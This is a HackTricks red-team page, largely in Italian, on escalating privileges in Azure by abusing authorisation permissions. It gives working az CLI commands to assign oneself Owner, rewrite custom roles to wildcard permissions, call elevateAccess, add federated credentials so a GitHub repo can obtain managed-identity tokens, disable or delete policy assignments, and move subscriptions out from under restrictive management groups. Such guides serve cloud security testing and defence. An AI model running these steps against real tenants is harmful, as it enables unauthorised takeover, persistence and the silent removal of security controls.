Az - Azure IAM Privesc (Authorization)

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

Azure IAM

Per maggiori informazioni controlla:

Az - Entra ID (AzureAD) & Azure IAM

Le autorizzazioni che permettono a un principal di modificare l’autorizzazione stessa sono in genere privesc primitives. Questo è particolarmente pericoloso quando vengono concesse su scope di management group o subscription, perché le autorizzazioni vengono ereditate dalle risorse figlie.

Microsoft.Authorization/roleAssignments/write

Questa autorizzazione consente di creare role assignments su uno scope specifico, permettendo a un attaccante di elevare i privilegi assegnando a sé stesso o a un altro principal controllato un ruolo più privilegiato.

Flusso tipico:

# Login and confirm current context
az login
az account show

# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"

Se il principal compromesso ha questa azione su uno scope, può assegnare direttamente un ruolo privilegiato come Owner, Contributor, Key Vault Secrets Officer, o qualsiasi altro ruolo built-in/custom disponibile in quello scope:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Sapere il principal object ID del target user/service principal/managed identity è sufficiente per concedere il nuovo role. Questo può essere abusato per self-privesc, lateral movement, o persistence assegnando il role a un altro principal controllato.

Microsoft.Authorization/roleDefinitions/write

Questo permission consente di creare o modificare custom role definitions. In pratica, è pericoloso perché un attacker può:

  • Modificare un custom role che è già assegnato al principal compromesso, rendendo le nuove permissions effettive immediatamente.
  • Creare un nuovo custom role con privilegi eccessivi e poi assegnarlo, di solito in chaining con Microsoft.Authorization/roleAssignments/write.

Typical flow:

# Find the current assignments
az role assignment list --all --output table

# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}

Poi aggiorna i permessi del ruolo con la definizione precedente chiamando:

az role definition update --role-definition role.json

Se il role modificato è già assegnato all’attacker, questo può essere un percorso più rapido rispetto alla creazione di una nuova role assignment perché l’inflazione dei permission si applica all’assegnazione esistente.
Se l’attacker ha solo roleDefinitions/write, può comunque weaponize it modificando i role già assegnati a compromised principals.

Microsoft.Authorization/elevateAccess/action

Questa permission consente di elevare i privilegi e poter assegnare permission a qualsiasi principal sulle risorse Azure. È pensata per essere concessa agli Entra ID Global Administrator, così possono anche gestire le permission sulle risorse Azure.

Tip

Penso che l’user debba essere Global Administrator in Entrad ID perché la elevate call funzioni.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

This permission allows to create/update Federated Identity Credentials (FICs) on user-assigned managed identities. In practice, this lets an attacker add a new trust relationship to an external identity provider and then obtain tokens as that managed identity.

This is a persistence / identity hijacking primitive: if the managed identity already has access to Azure resources, the attacker only needs to create a matching external workload (for example, a GitHub Actions workflow) and exchange the external token for Azure tokens.

Useful points to verify before abusing it:

  • Which managed identity can be modified
  • Which scope/roles are already assigned to that managed identity
  • Which issuer, subject, and audience will be accepted during token exchange

You can create the FIC with the dedicated CLI command:

az identity federated-credential create \
--name "github-federated-identity" \
--identity-name testMI \
--resource-group bialystok-rg \
--issuer "https://token.actions.githubusercontent.com" \
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
--audiences "api://AzureADTokenExchange"

O con raw REST.

Esempio di comando per dare accesso a un repo GitHub a una managed identity:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Una volta creata la FIC, l’attaccante può autenticarsi dal workload esterno e usare i permessi della managed identity già concessi in Azure. Per ulteriori informazioni sull’abuso di GitHub OIDC / workload identity, consulta:

Az Federation Abuse

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Un attaccante con il permesso Microsoft.Authorization/policyAssignments/write o Microsoft.Authorization/policyAssignments/delete su un management group, subscription o resource group può modificare o eliminare assegnazioni di Azure policy, potenzialmente disabilitando restrizioni di sicurezza che bloccano operazioni specifiche.

Questo consente l’accesso a risorse o funzionalità che in precedenza erano protette dalla policy.

Elimina una policy assignment:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Disabilita un policy assignment:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Verifica le modifiche:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Un attacker con il permesso Microsoft.Authorization/policyDefinitions/write può modificare le policy definitions di Azure, cambiando le regole che controllano le restrizioni di sicurezza nell’intero environment.

Per esempio, una policy che limita le regioni consentite per la creazione di resources può essere modificata per consentire qualsiasi regione, oppure l’effetto della policy può essere cambiato per renderla inefficace.

Modifica una policy definition:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Verifica le modifiche:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Un attacker con il permesso Microsoft.Management/managementGroups/write può modificare la struttura gerarchica dei management groups o creare nuovi management groups, potenzialmente eludendo le policy restrittive applicate ai livelli superiori.

Ad esempio, un attacker può creare un nuovo management group senza policy restrittive e poi spostare le subscriptions al suo interno.

Crea un nuovo management group:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Modifica una gerarchia di management group:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Verifica le modifiche:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Un attacker con il permesso Microsoft.Management/managementGroups/subscriptions/write può spostare le subscriptions tra management groups, potenzialmente aggirando policy restrittive spostando una subscription in un group con policy meno restrittive o senza policy.

Spostare una subscription in un management group diverso:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Verifica le modifiche:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

References

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks